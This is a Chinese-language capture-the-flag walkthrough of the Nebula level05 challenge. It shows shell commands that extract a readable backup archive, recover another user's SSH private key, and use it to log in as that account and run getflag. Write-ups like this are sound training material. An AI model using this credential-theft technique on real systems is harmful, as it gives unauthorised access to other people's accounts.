根据题目所述,在/home/flag05里,藏着一个重要的文件。如果能窃得,将不得了。转到目录/home/flag05下,用ls -al命令,列出所有文件:
level05@nebula:/home/flag05$ ls -al total 36 1drwxr-x--- 5 flag05 level05 4096 2012-08-25 13:52 . drwxr-xr-x 43 root root 4096 2011-11-20 20:21 .. drwxr-xr-x 2 flag05 flag05 4096 2011-11-20 20:13 .backup -rw------- 1 flag05 flag05 14 2012-08-25 13:52 .bash_history -rw-r--r-- 1 flag05 flag05 220 2011-05-18 02:54 .bash_logout -rw-r--r-- 1 flag05 flag05 3353 2011-05-18 02:54 .bashrc drwx------ 2 flag05 flag05 4096 2012-08-25 13:49 .cache -rw-r--r-- 1 flag05 flag05 675 2011-05-18 02:54 .profile drwx------ 2 flag05 flag05 4096 2011-11-20 20:13 .ssh
根据文件名来判断重要的文件,这里有两个比较重要,第一个是.backup,第二个是.ssh,前者,我们可以理解成一个备份文件,应该是重要文件的备份;后者,或许保存了私钥,如果得手,或许就可以ssh了,但是level05这个账号对.ssh的权限不够。不过.backup倒是有足够的权限进入:
level05@nebula:/home/flag05/.backup$ ls -al total 12 drwxr-xr-x 2 flag05 flag05 4096 2011-11-20 20:13 . drwxr-x--- 5 flag05 level05 4096 2012-08-25 13:52 .. -rw-rw-r-- 1 flag05 flag05 1826 2011-11-20 20:13 backup-19072011.tgz
.backup里有个压缩文件,需要我们解压,不可解压到当前目录,因为没有写入权限。得把它解压到/tmp(记得/tmp权限很低)中,看看有什么东西:
level05@nebula:/home/flag05/.backup$ tar xvf backup-19072011.tgz -C /tmp/ .ssh/ .ssh/id_rsa.pub .ssh/id_rsa .ssh/authorized_keys
是备份的key,如此以来,我们就可以用私钥以flag05登录系统。把.ssh保存到level05的家目录中(ssh验证时用的私钥公钥就放在家目录中的.ssh目录里),然后ssh登录:
level05@nebula:~$ cp -r /tmp/.ssh/ ~ level05@nebula:~$ ssh flag05@localhost
成功登录后执行getflag:
flag05@nebula:~$ getflag You have successfully executed getflag on a target account